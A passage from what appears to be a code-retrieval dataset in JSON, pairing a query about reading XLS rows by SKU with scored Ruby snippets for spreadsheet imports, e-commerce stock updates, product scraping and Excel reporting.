"0.49437284", "text": "def reflect_horizontal\r\n self.v[:x] = -self.v[:x]\r\n end", "title": "" }, { "docid": "458c24827a3f2424303df629a6b067a2", "score": "0.4941812", "text": "def newline\n incr_y\n end", "title": "" }, { "docid": "d2ef9e534972c83f76584455f9418772", "score": "0.49383724", "text": "def divider_line\n lines - 2\n end", "title": "" }, { "docid": "3932463dfedb0c5a19bb50bf9f8aa1d0", "score": "0.49325433", "text": "def add_tiled_vertical( subview )\n # ensure we don't accidentally use the subview as a parameter to the geometry ops.\n subview.removeFromSuperview if self.subviews.include? subview\n\n last_subview = self.subviews.last\n\n self.addSubview(subview)\n if last_subview\n subview.snap_to_bottom_of last_subview\n else\n subview.snap_to_top ref_view:self\n end\n\n # # enlarge vertically if necessary\n # # TODO constrain shrinking, maybe\n # new_height = self.frame_for_subviews.height\n # self.frame = self.frame.modified_frame(new_height, :Top)\n\n # self.fit_pinning_top\n end", "title": "" }, { "docid": "f7d3a3b8ab46a320e96615d4b47bfb09", "score": "0.49228358", "text": "def render_grid_lines\n outputs.lines << (0..grid.width).map { |x| vertical_line(x) }\n outputs.lines << (0..grid.width).map { |x| shifted_vertical_line(x) }\n outputs.lines << (0..grid.height).map { |y| horizontal_line(y) }\n outputs.lines << (0..grid.height).map { |y| shifted_horizontal_line(y) }\n end", "title": "" } ]
f167e87b8dc391d75faffc86868b0b59
read the xls until he find a different sku then send all the previous to build the release
[ { "docid": "bb794dc88d5b6a1c695739163ace55ee", "score": "0.6002296", "text": "def readXls(ws,xml)\n package = Array.new\n i = 4\n j = 0\n while ws.rows[i]\n # pp ws.rows[i]\n if ws.rows[i] == nil\n break\n end\n if ws.rows[i][1] == $catalog_current\n package[j] = ws.rows[i]\n j = j + 1\n i = i +1\n else\n sendPackage(package,xml)\n $catalog_current = ws.rows[i][1]\n j = 0\n package.clear\n end\n end\nend", "title": "" } ]
[ { "docid": "385fb168fb3aec5efc304e01978ed4f2", "score": "0.6224984", "text": "def import_product_stock\n @seller = Spree::Seller.find(params[:seller_id])\n if !@seller.present?\n flash[:error] = \"Please select seller\"\n redirect_to import_stock_admin_sellers_path\n return\n end\n\n unless File.extname(params[:file].original_filename) == \".xls\"\n flash[:error] = \"Please upload xls file\"\n redirect_to import_stock_admin_sellers_path\n return\n end\n\n products_stock = Spreadsheet.open params[:file].path\n products_stock_sheet = products_stock.worksheet(0)\n\n # Product stock upload format\n # row[00] => Brand / Retailer (Optional - for future use - as per Abhimanyu)\n # row[01] => SKU*\n # row[02] => UPC (Optional - for future use - as per Abhimanyu)\n # row[03] => Qty for Qoo10\n # row[04] => Qty for Lazada\n\n error_hash = []\n @quantity_exceed_error = []\n @qoo10_api_responses = []\n @lazada_api_responses = []\n products_stock_sheet.each_with_index do |row, index|\n row[100] = \"\"\n if index == 0 || row[1].nil?\n row[100] += \"1\"\n error_hash << row if !error_hash.include?(row)\n next\n end\n\n @variant = Spree::Variant.find_by_sku(row[1].to_s)\n if !@variant.present?\n row[100] += \"1\"\n error_hash << row if !error_hash.include?(row)\n next\n end\n\n retailer = row[0].to_s\n sku = row[1].to_s\n upc = row[2].to_s\n qty_for_qoo10 = row[3]\n qty_for_lazada = row[4]\n\n if @variant.present?\n fba_quantity = @variant.fba_quantity\n total_qty_from_xls = qty_for_qoo10.to_i+qty_for_lazada.to_i\n\n if fba_quantity.to_i < total_qty_from_xls\n @quantity_exceed_error << fba_quantity\n row[100] += \",5\"\n error_hash << row if !error_hash.include?(row)\n next\n end\n\n @product = @variant.product\n @market_places = Spree::MarketPlace.all\n\n # 1. FBA stock count validation against both mp's quantity - done\n # 2. MP's stock update method implementation - done\n # 3. Error file generation improvements - done\n\n @market_places.each do |mp|\n @sellers_market_places_product = Spree::SellersMarketPlacesProduct.where(\"seller_id=? AND product_id=? AND market_place_id=?\", params[:seller_id], @product.id, mp.id).first\n case mp.code\n when \"qoo10\"\n if qty_for_qoo10.present?\n if @sellers_market_places_product.present?\n @stock_product = Spree::StockProduct.where(\"sellers_market_places_product_id=? AND variant_id=?\", @sellers_market_places_product.id, @variant.id).first\n if @stock_product.present?\n old_stock_count = @stock_product.count_on_hand\n new_stock_count = qty_for_qoo10.to_i\n total_stock_count = old_stock_count.to_i + new_stock_count.to_i\n @stock_product.update_attributes(:count_on_hand => total_stock_count)\n final_count_qoo10 = total_stock_count\n else\n @stock_product = Spree::StockProduct.create(:sellers_market_places_product_id => @sellers_market_places_product.id, :variant_id => @variant.id, :count_on_hand => qty_for_qoo10.to_i, :virtual_out_of_stock => false)\n final_count_qoo10 = qty_for_qoo10.to_i\n end # stock_product present check\n\n seller_market_place = Spree::SellerMarketPlace.where(\"seller_id=? AND market_place_id=?\", @seller.id, mp.id).first\n @qoo10_api_response = Spree::StockMovement.stock_update_qoo10(@product, mp.id, final_count_qoo10, @stock_product, seller_market_place, @sellers_market_places_product, final_count_qoo10)\n\n if @qoo10_api_response != true\n @qoo10_api_responses << @qoo10_api_response.to_s\n row[100] += \",6\"\n error_hash << row if !error_hash.include?(row)\n end\n puts '---response - stock update - qoo10---'\n puts @qoo10_api_response\n puts '-------------------------------------------------'\n else\n row[100] += \",3\"\n error_hash << row if !error_hash.include?(row)\n end # sellers_market_places_product present check\n end # qty_for_qoo10 present check\n when \"lazada\"\n if qty_for_lazada.present?\n if @sellers_market_places_product.present?\n @stock_product = Spree::StockProduct.where(\"sellers_market_places_product_id=? AND variant_id=?\", @sellers_market_places_product.id, @variant.id).first\n if @stock_product.present?\n old_stock_count = @stock_product.count_on_hand\n new_stock_count = qty_for_lazada.to_i\n total_stock_count = old_stock_count.to_i + new_stock_count.to_i\n @stock_product.update_attributes(:count_on_hand => total_stock_count)\n final_count_lazada = total_stock_count\n else\n @stock_product = Spree::StockProduct.create(:sellers_market_places_product_id => @sellers_market_places_product.id, :variant_id => @variant.id, :count_on_hand => qty_for_lazada.to_i, :virtual_out_of_stock => false)\n final_count_lazada = qty_for_lazada.to_i\n end # stock_product present check\n\n seller_market_place = Spree::SellerMarketPlace.where(\"seller_id=? AND market_place_id=?\", @seller.id, mp.id).first\n @lazada_api_response = Spree::StockMovement.stock_update_lazada(@product, mp.id, final_count_lazada, @stock_product, seller_market_place, @sellers_market_places_product, final_count_lazada)\n\n if @lazada_api_response != true\n @lazada_api_responses << @lazada_api_response.to_s\n row[100] += \",7\"\n error_hash << row if !error_hash.include?(row)\n end\n puts '---response - stock update - lazada---'\n puts @lazada_api_response\n puts '-------------------------------------------------'\n else\n row[100] += \",4\"\n error_hash << row if !error_hash.include?(row)\n end # sellers_market_places_product present check\n end # qty_for_lazada present check\n end # switch case end\n\n end # market places loop\n\n end # variant present\n\n end # product stock loop (main*)\n\n if error_hash.present? && error_hash.size >=2\n products_stock_errors(error_hash, @quantity_exceed_error, @qoo10_api_responses, @lazada_api_responses)\n else\n redirect_to import_stock_admin_sellers_path, :notice => \"Product Stock Updated Successfully!\"\n return\n end\n end", "title": "" }, { "docid": "f2b8475a3573ce090258e921b4a3d7b0", "score": "0.5762906", "text": "def parse_products\n unique_columns = %w(SKU Item\\ Color)\n\n @src_files.each do |file|\n puts \"Processing: #{file}\"\n ss = Spreadsheet.open(file)\n\n # Decoration Charges\n puts \"Processing Decorations:\"\n @supplier_num = 'DEC'\n @decorations = {}\n ltm = {}\n ws = ss.worksheet(2)\n ws.use_header\n ws.each(1) do |row|\n next unless row['Product Line']\n line = row['Product Line'].strip\n case row['ChargeName']\n when 'Less Than Minimum'\n if /absolute minimum : (\\d{2,3})/i === row['Description']\n ltm[line] = Integer($1)\n else\n ltm[line] = Integer(row['Charge'])\n end\n when 'Setup'\n name = row['Imprint Name']\n if name.blank?\n next unless /^(.*?)(?:\\s+|^)(?:per|each)/ === row['Description']\n name = $1\n end\n# puts \"Setup Desc: #{row['Description']} => #{name}\"\n set_decoration(line, name, :fixed, Float(row['Charge']))\n when 'Second Location'\n warning \"Unknown Desc\", row['Description'] unless /^(.*?)(?:\\s+|^)(?:per|each)/ === row['Description']\n# puts \"Sec Loc Desc: #{row['Description']}\"\n set_decoration(line, $1, :marginal, Float(row['Charge']), true)\n when 'Additional Run Charge'\n# puts \"Add Run Desc: #{row['Description']}\"\n if /^(.*?)(?:\\s+|^)(?:per|each)/ === row['Description']\n set_decoration(line, $1.capitalize, :marginal, Float(row['Charge']))\n next\n end\n if /^second (?:color|location) (.+)$/i === row['Description']\n if $1 == 'etch/laser'\n %w(Laser Crystal\\ etch).each do |name|\n set_decoration(line, name, :marginal, Float(row['Charge']))\n end\n else\n set_decoration(line, $1.capitalize, :marginal, Float(row['Charge']))\n end\n next\n end\n warning \"Unknown Add Run Charge Desc\", row['Description']\n when 'Repeat Setup'\n when 'Art'\n when 'Pre-Production Proof'\n when 'Oxidation'\n set_decoration(line, 'Oxidation', :marginal, Float(row['Charge']))\n when 'Personalization'\n when 'Custom Foam Die Charge'\n when 'Color Fill'\n else\n warning \"Unkonwn Charge\", row['ChargeName']\n end\n end\n\n @decorations.each do |line, hash|\n next unless hash['Oxidation'] and hash['Laser']\n hash['Laser & Oxidation'] = hash['Laser'].merge(:marginal => hash['Oxidation'][:marginal] + hash['Laser'][:marginal])\n hash.delete('Oxidation')\n end\n @decorations['Watch Creations'] = { 'Print' => { :fixed => 65.00, :marginal => 0 } }\n\n cost_decorations = {}\n Decoration.transaction do\n @@decoration_map.each do |key, technique|\n costs = {}\n costs.default = []\n @decorations.each { |line, h| costs[h[key]] += [line] if h[key] }\n next if costs.empty?\n sorted = costs.to_a.sort_by { |h, l| l.length }\n if sorted.length == 1 or sorted[-1].last.length != sorted[-2].last.length\n default = sorted.pop.first.merge(:key => key)\n cost_decorations[default] = get_decoration(technique, default[:fixed], default[:marginal], :postfix => '')\n end\n sorted.each do |hash, list|\n k = hash.merge(:key => key)\n if k[:fixed] == default[:fixed] and !k[:marginal] and default[:marginal]\n cost_decorations[k] = cost_decorations[default]\n else\n cost_decorations[k] = get_decoration(technique, hash[:fixed] || 0.0, hash[:marginal], :postfix => list.join(', '))\n end\n end\n end\n end\n\n @decorations.each do |line, hash|\n puts \" #{line}:\"\n hash.each do |key, values|\n unless @@decoration_map[key]\n puts \" #{key}: #{hash[key].inspect}\"\n next\n end\n technique = cost_decorations[values.merge(:key => key)]\n puts \" #{key}: #{hash[key].inspect} => #{technique.inspect}\"\n raise \"unknown\" unless hash[key] = technique\n end\n end\n\n \n \n\n # ProductModelXRef\n puts \"Processing XRefs\"\n model_product = {}\n ws = ss.worksheet(3)\n ws.use_header\n ws.each(1) do |row|\n model_product[row['ModelSKU']] = row['ProductSKU']\n end\n\n\n # Flat Data\n puts \"Processing Main List\"\n ws = ss.worksheet(0)\n columns = ws.use_header.keys\n product_merge = ProductRecordMerge.new(unique_columns, columns - unique_columns)\n ws.each(1) do |row|\n next if row['SKU'].blank?\n# raise \"Unkown SKU: #{row['SKU'].inspect}\" unless /^([A-Z]+\\d*)([A-Z]*(?:-[\\w-]+)?)$/ === row['SKU']\n unless supplier_num = model_product[row['SKU']]\n warning 'Unknown SKU', row['SKU']\n next\n end\n begin\n product_merge.merge(supplier_num, row)\n rescue Exception => e\n puts \"RESCUE: #{e}\"\n end\n end\n\n \n puts \"Start Image Find\"\n file_name = cache_file(\"Logomark_images\")\n images_valid = cache_exists(file_name) ? cache_read(file_name) : {}\n\n begin\n Net::HTTP.start('www.logomark.com') do |http|\n product_merge.each do |supplier_num, unique, common|\n unique.each do |uniq|\n variant_num = uniq['SKU']\n list = [\"/Image/Model/Model800/#{variant_num}.jpg\"] +\n (1..8).collect { |i| \"/Image/Model/Model800/#{variant_num}_a#{i}.jpg\" }\n count = 0\n list.each do |path|\n if images_valid.has_key?(path)\n valid = images_valid[path]\n else\n valid = (http.head(path).content_type == 'image/jpeg')\n puts \" #{path} : #{valid}\"\n images_valid[path] = valid\n end\n \n if valid\n uniq['images'] = (uniq['images'] || []) + \n [ImageNodeFetch.new(\"Model/#{path.split('/').last}\",\n \"http://www.logomark.com#{path}\")]\n count = 0\n else\n count += 1\n break if count >= 2\n end\n end\n end\n end\n end\n ensure\n cache_write(file_name, images_valid)\n end\n puts \"Stop Image Find\"\n\n product_merge.each do |supplier_num, unique, common|\n next if %w(EK500 FLASH GR6140 VK3009 KT6500).include?(supplier_num)\n\n ProductDesc.apply(self) do |pd|\n pd.supplier_num = @supplier_num = supplier_num\n pd.name = \"#{common['Name']} #{common['Description']}\".strip\n pd.description = common['Features'] || ''\n pd.supplier_categories = (common['Categories'] || '').split(',').collect { |c| [c.strip] }\n\n pd.package.units = common['Quantity Per Box']\n pd.package.weight = common['Box Weight']\n\n unless /^(\\d+)(?:-(\\d+))? Working ((?:Days)|(?:Weeks))$/ === common['Production Time']\n raise \"Unkown Production Time: #{supplier_num} #{common['Production Time']}\"\n end\n multiplier = ($3 == 'Days') ? 1 : 5\n pd.lead_time.normal_min = Integer($1) * multiplier\n pd.lead_time.normal_max = Integer($2 || $1) * multiplier\n pd.lead_time.rush = 1 if common['IsAdvantage24'] == 'YES'\n\n pd.properties = {\n 'material' => common['Finish / Material'],\n 'dimension' => common['Item Size'].blank? ? nil : (parse_dimension(common['Item Size']) || common['Item Size'])\n }\n\n\n (1..6).each do |i|\n qty = common[\"PricePoint#{i}Qty\"]\n next if qty.blank? or Integer(qty) < 1\n pd.pricing.add(qty, common[\"PricePoint#{i}Price\"], common[\"PricePoint#{i}Code\"])\n end\n pd.pricing.maxqty\n unless common['LessThanMin1Qty'] == 0\n pd.pricing.ltm_if([PricingDesc.parse_money(common['LessThanMin1Charge']), Money.new(40.0)].max, common['LessThanMin1Qty'])\n end\n\n pd.decorations = [DecorationDesc.none]\n dec_params = { :height => common['Decoration Height'] && parse_number(common['Decoration Height']),\n :width => common['Decoration Width'] && parse_number(common['Decoration Width']) }\n if !(hash = @decorations[common['Product Line']])\n warning 'Unknown Decoration', common['Product Line']\n elsif common['Decoration Methods']\n pd.decorations += common['Decoration Methods'].split(',').collect { |n| n.strip }.uniq.collect do |tech|\n unless hash[tech]\n warning 'Unknown Technique', tech\n next\n end\n DecorationDesc.new(dec_params.merge(:limit => tech == 'Print' ? 3 : 1,\n :location => '',\n :technique => hash[tech]))\n end.compact\n end\n\n pd.images = [ImageNodeFetch.new(\"Group/#{supplier_num}.jpg\",\n \"http://www.logomark.com/Image/Group/Group800/#{supplier_num}.jpg\")]\n \n pd.variants = unique.collect do |uniq|\n VariantDesc.new(:supplier_num => uniq['SKU'],\n :images => uniq['images'] || [],\n :properties => { 'color' => uniq['Item Color'].strip } )\n end\n end\n end\n end\n end", "title": "" }, { "docid": "30ec5deb44e8b1a257afb16b7b931084", "score": "0.5596479", "text": "def read_production_into_DB(spreadsheet, file_name, product_id)\n\n change = false\n\n lot = spreadsheet.cell(13, 'C')\n if numeric?(lot)\n lot = lot.to_i.to_s\n end\n \n if lot.blank?\n @logs << \"#{file_name}:ロット番号がありません。\"\n return nil # not go to next process\n end\n\n pcs = spreadsheet.cell(14, 'C')\n if pcs.blank?\n @logs << \"#{file_name}:数量がありません。\"\n return nil # not go to next process\n end\n\n inspect_date = excel_to_date(spreadsheet.cell(15, 'C'))\n if inspect_date.blank? # || !(Date.parse(inspect_date))\n @logs << \"#{file_name}:検査日がありません。\"\n return nil # not go to next process\n end\n\n if production = Production.find_by(lot: lot, product_id: product_id)\n if pcs != production.pcs\n @logs << \"#{file_name}:数量が変更になっています。[#{production.pcs} -> #{pcs}]\"\n change = nil\n end\n if inspect_date != production.inspect_date\n @logs << \"#{file_name}:検査日が変更になっています。[#{production.inspect_date} -> #{inspect_date}]\"\n change = nil\n end\n elsif !(production = Production.create(lot: lot, pcs: pcs, inspect_date: inspect_date, product_id: product_id))\n @logs << \"#{file_name}:ロット(#{lot})が保存出来ませんでした。\"\n return nil # not go to next process\n else\n return production # go to next process\n end\n\n if change\n return nil\n else\n return production\n end\n\n end", "title": "" }, { "docid": "0acfe21b8e87917673ce3b427bb6743b", "score": "0.555921", "text": "def prod_scraper(sup)\n sleep rand(1..3)\n begin\n doc = Nokogiri::HTML(HeadlessBrowser.initialize_browser(sup[:link]))\n rescue => e\n #check if page still avaiable\n puts e\n if e.response_code == '404'\n return sup\n end\n puts \"error.. retrying after a min\" \n sleep 60\n retry\n end\n puts \"Scrapping #{sup[:name]}\"\n unless doc.search('._430e3s').nil?\n unless doc.search('._430e3s').search('small').nil?\n sup[:sku] = doc.search('._430e3s').search('small').first.text.match(/\\: ?.*/).to_s.gsub(/\\W/,'')\n end\n end\n unless doc.search('._1y15b3k').first.nil?\n sup[:price] = doc.search('._1y15b3k').text.gsub(/\\D/,'')\n end\n unless doc.search('._fynjto').first.nil?\n sup[:seller] = doc.search('._fynjto').first.text\n end \n unless doc.search('._1irfpnl').first.nil?\n sup[:sender] = doc.search('._1irfpnl').first.text.match(/\\: ?.*/).to_s.gsub(/\\W/,'')\n end \n sup\n end", "title": "" }, { "docid": "c9feba99aecf6d45fcda7f71b91c82ce", "score": "0.5519298", "text": "def process_oracle_sru_page(url)\n base_url = \"https://support.oracle.com/epmos/faces/ui/patch/PatchDetail.jspx?patchId=\"\n sru_file = $html_dir+\"/sru.html\"\n sru_info = {}\n sru_urls = {}\n if !File.exist?(sru_file)\n get_mos_url(url,sru_file)\n end\n doc = Nokogiri::HTML(File.open(sru_file))\n rows = doc.css('table tr').xpath(\"//td[contains(@class,'x10t')]\")\n patch_no = \"\"\n patch_info = \"\"\n patch_url = \"\"\n model = \"OS\"\n rows.each do |row|\n if !row.text.match(/More.../)\n if row.to_s.match(/xfe/)\n if patch_no.match(/[0-9]/)\n patch_url = base_url+patch_no\n (download_url,file_name) = get_oracle_download_url(model,patch_info,patch_url)\n sru_info[patch_no] = patch_info\n patch_urls = []\n patch_urls.push(patch_url)\n patch_urls.push(download_url)\n sru_urls[patch_no] = patch_urls\n patch_no = row.text\n patch_info = \"\"\n else\n patch_no = row.text\n patch_info = \"\"\n end\n else\n text = row.text\n if !text.match(/^General$|^Operating System$/) and text.match(/[A-z]/)\n text = text.gsub(/^\\s+|\\s+$/,\"\")\n if patch_info.match(/[A-z]/)\n patch_info = patch_info+\" \"+text\n else\n patch_info = text\n end\n end\n end\n end\n end\n (download_url,file_name) = get_oracle_download_url(model,patch_info,patch_url)\n patch_urls = []\n patch_urls.push(patch_url)\n patch_urls.push(download_url)\n sru_urls[patch_no] = patch_urls\n return sru_info,sru_urls\nend", "title": "" }, { "docid": "44dc4abf248790cd13717cbb599bad4d", "score": "0.5499441", "text": "def read_product_into_DB(spreadsheet, file_name)\n # read customer\n # customer_name = spreadsheet.cell(4,'A')\n # customer = Customer.find_by(name: customer_name)\n # if !customer\n # @logs << \"#{file_name}:顧客名(#{customer_name})でエラーが発生しました。\"\n # return false\n # end\n\n # read m code\n code = spreadsheet.cell(51,'J')\n if !(code.blank?)\n buff = code.split('-')\n customer_num = buff[0].to_i\n customer = Customer.find_by(code: customer_num)\n if !customer\n @logs << \"#{file_name}:商品コード(#{code})から顧客を検索出来ませんでした。\"\n return false\n end\n else\n @logs << \"#{file_name}:商品コードが無いか不正です。\"\n return false\n end\n\n # read num\n num = spreadsheet.cell(7,'C')\n # read name\n name = spreadsheet.cell(8,'C')\n # read material\n material = spreadsheet.cell(9,'C')\n # read surface\n surface = spreadsheet.cell(10,'C')\n # read heat\n heat = spreadsheet.cell(11,'C')\n\n product = Product.find_by(code: code)\n\n @logs << \"----- ファイル名:#{file_name} -----\"\n\n if product # change product\n changed = false\n # product_log = ProductLog.new\n product_id = product.id\n @logs << \"製品ID:#{product_id}\"\n\n if num != product.num\n changed = true\n @logs << \"品番:#{product.num}->#{num}\"\n # product_log.num = product.num\n # product.num = num\n end\n\n if name != product.name\n changed = true\n @logs << \"品名:#{product.name}->#{name}\"\n # product_log.name = product.name\n # product.name = name\n end\n\n if material != product.material\n changed = true\n @logs << \"材質:#{product.material}->#{material}\"\n # product_log.material = product.material\n # product.material = material\n end\n\n if surface != product.surface\n changed = true\n @logs << \"表面処理:#{product.surface}->#{surface}\"\n # product_log.surface = product.surface\n # product.surface = surface\n end\n\n if heat != product.heat\n changed = true\n @logs << \"熱処理:#{product.heat}->#{heat}\"\n # product_log.heat = product.heat\n # product.heat = heat\n end\n\n # if changed\n # product_log.product_id = product.id\n # if !product_log.save\n # @logs << \"#{file_name}:変更ログ保存に失敗しました。\"\n # end\n # if !product.save\n # @logs << \"#{file_name}:変更保存に失敗しました。\"\n # end\n # end\n if !changed\n @logs << \"製品データ変更無し\"\n end\n\n else # new product\n if !product = Product.create(code: code, num: num, name: name, material: material, surface: surface, heat: heat, customer_id: customer.id)\n @logs << \"#{file_name}:新規製品保存に失敗しました。\"\n end\n end\n\n return product\n end", "title": "" }, { "docid": "38b686c3584f32c57db321bda644d24c", "score": "0.5488308", "text": "def sos_kits_in_process\n if can?(:>=, \"2\")\n headers['Content-Type'] = \"application/vnd.ms-excel\"\n headers['Content-Disposition'] = \"attachment; filename=SOS Kits In Process Report.xls\"\n headers['Cache-Control'] = ''\n\n # code to create xls file\n require 'writeexcel'\n workbook = WriteExcel.new(Rails.public_path+\"/excel/SOS Kits In Process Report.xls\")\n worksheet = workbook.add_worksheet(\"sos kits in process\")\n worksheet_completed_sos_kits = workbook.add_worksheet(\"completed kits in sos\")\n\n format = workbook.add_format\n border = workbook.add_format\n header = workbook.add_format\n\n format.set_bold\n border.set_bottom(1)\n header.set_bold\n header.set_header('Big')\n\n @row_value = 0\n @col_value = 0\n @row_value_completed_sos_kits = 0\n # create a table in xls file\n\n worksheet.set_column(0, 0, 20)\n worksheet.set_column(0, 1, 20)\n worksheet.set_column(0, 2, 20)\n worksheet.set_column(0, 3, 20)\n worksheet.set_column(0, 4, 20)\n worksheet.set_column(0, 5, 20)\n worksheet.set_column(0, 6, 20)\n worksheet.set_column(0, 7, 20)\n worksheet.set_column(0, 8, 20)\n worksheet.set_column(0, 9, 20)\n worksheet.set_column(0, 10, 20)\n worksheet.set_column(0, 11, 20) if adhoc_kit_access?\n\n worksheet.write(@row_value, 0,\"SOS Kits In Process Report\",format)\n @row_value = @row_value+2\n if adhoc_kit_access?\n worksheet.write(@row_value, 0,\"Kit Number\",format)\n worksheet.write(@row_value, 1,\"Work Order\",format)\n worksheet.write(@row_value, 2,\"Filled State\",format)\n worksheet.write(@row_value, 3,\"Detail PN\",format)\n worksheet.write(@row_value, 4,\"Qty Filled\", format)\n worksheet.write(@row_value, 5,\"Qty Required\",format)\n worksheet.write(@row_value, 6,\"Created By\",format)\n worksheet.write(@row_value, 7,\"Updated At\",format)\n worksheet.write(@row_value, 8,\"Queue\",format)\n worksheet.write(@row_value, 9,\"Kit Bin Center\",format)\n worksheet.write(@row_value, 10,\"Kit Description\",format)\n worksheet.write(@row_value, 11,\"Media Type\",format)\n\n sos_kits_in_process = Kitting::KitFilling.find_by_sql([\"SELECT KITS.CUSTOMER_KIT_PART_NUMBER AS Kit_Number, WORK_ORDERS.ORDER_NUMBER AS Work_Order,\n KIT_FILLING_DETAILS.FILLED_STATE AS Filled_Status,\n PARTS.PART_NUMBER AS Detail_PN,\n KIT_FILLING_DETAILS.FILLED_QUANTITY AS QTY_Filled,\n CUP_PARTS.DEMAND_QUANTITY AS QTY_Required,\n KIT_FILLINGS.CREATED_BY,\n KIT_FILLING_DETAILS.UPDATED_AT,\n LOCATIONS.NAME AS QUEUE_Name,\n KITS.BINCENTER AS KIT_Bin_Center,\n KITS.DESCRIPTION AS KIT_Description,\n KIT_MEDIA_TYPES.NAME AS MEDIA_Type\n FROM KIT_FILLINGS INNER JOIN KIT_WORK_ORDERS\n ON KIT_FILLINGS.KIT_WORK_ORDER_ID = KIT_WORK_ORDERS.ID\n INNER JOIN KIT_FILLING_DETAILS\n ON KIT_FILLINGS.ID = KIT_FILLING_DETAILS.KIT_FILLING_ID\n INNER JOIN CUP_PARTS\n ON KIT_FILLING_DETAILS.CUP_PART_ID = CUP_PARTS.ID\n INNER JOIN PARTS\n ON CUP_PARTS.PART_ID = PARTS.ID\n INNER JOIN LOCATIONS\n ON LOCATIONS.ID = KIT_FILLINGS.LOCATION_ID\n INNER JOIN KITS\n ON KIT_WORK_ORDERS.KIT_ID = KITS.ID\n INNER JOIN WORK_ORDERS\n ON KIT_WORK_ORDERS.WORK_ORDER_ID = WORK_ORDERS.ID\n INNER JOIN KIT_MEDIA_TYPES\n ON KITS.KIT_MEDIA_TYPE_ID = KIT_MEDIA_TYPES.ID\n WHERE KIT_FILLINGS.CREATED_BY = ?\n AND KIT_FILLING_DETAILS.FILLED_STATE <> ?\n AND CUP_PARTS.STATUS = 1\n AND KIT_FILLINGS.LOCATION_ID = (SELECT id FROM LOCATIONS WHERE name= 'SOS Queue')\n ORDER BY Kit_Number,Work_Order,Detail_PN\",\n current_customer.cust_no,\n 'F'])\n sos_kits_in_process.each_with_index do |kit|\n @row_value = @row_value + 1\n worksheet.write(@row_value,0,kit[\"kit_number\"])\n worksheet.write(@row_value,1,kit[\"work_order\"])\n worksheet.write(@row_value,2,kit[\"filled_status\"])\n worksheet.write(@row_value,3,kit[\"detail_pn\"])\n worksheet.write(@row_value,4,kit[\"qty_filled\"])\n worksheet.write(@row_value,5,kit[\"qty_required\"])\n worksheet.write(@row_value,6,kit.created_by)\n worksheet.write(@row_value,7,kit.updated_at.strftime(\"%Y-%m-%d %I:%M%p\"))\n worksheet.write(@row_value,8,kit[\"queue_name\"])\n worksheet.write(@row_value,9,kit[\"kit_bin_center\"])\n worksheet.write(@row_value,10,kit[\"kit_description\"])\n worksheet.write(@row_value,11,kit[\"media_type\"])\n @row_value = @row_value+0\n worksheet.write(@row_value, border)\n end\n else\n worksheet.write(@row_value, 0,\"Kit Copy\",format)\n worksheet.write(@row_value, 1,\"Filled State\",format)\n worksheet.write(@row_value, 2,\"Detail PN\",format)\n worksheet.write(@row_value, 3,\"Qty Filled\", format)\n worksheet.write(@row_value, 4,\"Qty Required\",format)\n worksheet.write(@row_value, 5,\"Created By\",format)\n worksheet.write(@row_value, 6,\"Updated At\",format)\n worksheet.write(@row_value, 7,\"Queue\",format)\n worksheet.write(@row_value, 8,\"Kit Bin Center\",format)\n worksheet.write(@row_value, 9,\"Kit Description\",format)\n worksheet.write(@row_value, 10,\"Media Type\",format)\n # loop for bin center parts data to show in table\n sos_kits_in_process = Kitting::KitFilling.find_by_sql([\"SELECT KIT_COPIES.KIT_VERSION_NUMBER AS Kit_Copy,\n KIT_FILLING_DETAILS.FILLED_STATE AS Filled_Status,\n PARTS.PART_NUMBER AS Detail_PN,\n KIT_FILLING_DETAILS.FILLED_QUANTITY AS QTY_Filled,\n CUP_PARTS.DEMAND_QUANTITY AS QTY_Required,\n KIT_FILLINGS.CREATED_BY,\n KIT_FILLING_DETAILS.UPDATED_AT,\n LOCATIONS.NAME AS QUEUE_Name,\n KITS.BINCENTER AS KIT_Bin_Center,\n KITS.DESCRIPTION AS KIT_Description,\n KIT_MEDIA_TYPES.NAME AS MEDIA_Type\n FROM KIT_FILLINGS INNER JOIN KIT_COPIES\n ON KIT_FILLINGS.KIT_COPY_ID = KIT_COPIES.ID\n INNER JOIN KIT_FILLING_DETAILS\n ON KIT_FILLINGS.ID = KIT_FILLING_DETAILS.KIT_FILLING_ID\n INNER JOIN CUP_PARTS\n ON KIT_FILLING_DETAILS.CUP_PART_ID = CUP_PARTS.ID\n INNER JOIN PARTS\n ON CUP_PARTS.PART_ID = PARTS.ID\n INNER JOIN LOCATIONS\n ON LOCATIONS.ID = KIT_FILLINGS.LOCATION_ID\n INNER JOIN KITS\n ON KIT_COPIES.KIT_ID = KITS.ID\n INNER JOIN KIT_MEDIA_TYPES\n ON KITS.KIT_MEDIA_TYPE_ID = KIT_MEDIA_TYPES.ID\n WHERE KIT_FILLINGS.CREATED_BY = ?\n AND KIT_FILLING_DETAILS.FILLED_STATE <> ?\n AND CUP_PARTS.STATUS = 1\n AND KIT_FILLINGS.LOCATION_ID = (SELECT id FROM LOCATIONS WHERE name= 'SOS Queue')\n ORDER BY KIT_Copy,Detail_PN\",\n current_customer.cust_no,\n 'F'])\n sos_kits_in_process.each_with_index do |kit|\n @row_value = @row_value + 1\n worksheet.write(@row_value,0,kit[\"kit_copy\"])\n worksheet.write(@row_value,1,kit[\"filled_status\"])\n worksheet.write(@row_value,2,kit[\"detail_pn\"])\n worksheet.write(@row_value,3,kit[\"qty_filled\"])\n worksheet.write(@row_value,4,kit[\"qty_required\"])\n worksheet.write(@row_value,5,kit.created_by)\n worksheet.write(@row_value,6,kit.updated_at.strftime(\"%Y-%m-%d %I:%M%p\"))\n worksheet.write(@row_value,7,kit[\"queue_name\"])\n worksheet.write(@row_value,8,kit[\"kit_bin_center\"])\n worksheet.write(@row_value,9,kit[\"kit_description\"])\n worksheet.write(@row_value,10,kit[\"media_type\"])\n @row_value = @row_value+0\n worksheet.write(@row_value, border)\n end\n end\n\n # create a table in xls file\n worksheet_completed_sos_kits.set_column(0, 0, 40)\n worksheet_completed_sos_kits.set_column(0, 1, 20)\n worksheet_completed_sos_kits.set_column(0, 2, 20)\n worksheet_completed_sos_kits.set_column(0, 3, 20)\n worksheet_completed_sos_kits.set_column(0, 4, 20)\n worksheet_completed_sos_kits.set_column(0, 5, 20)\n worksheet_completed_sos_kits.set_column(0, 6, 20)\n worksheet_completed_sos_kits.set_column(0, 7, 20) if adhoc_kit_access?\n\n worksheet_completed_sos_kits.write(@row_value_completed_sos_kits, 0,\"SOS Kits In Process Report\",format)\n @row_value_completed_sos_kits = @row_value_completed_sos_kits+2\n if adhoc_kit_access?\n worksheet_completed_sos_kits.write(@row_value_completed_sos_kits, 0,\"Kit Number\",format)\n worksheet_completed_sos_kits.write(@row_value_completed_sos_kits, 1,\"Work 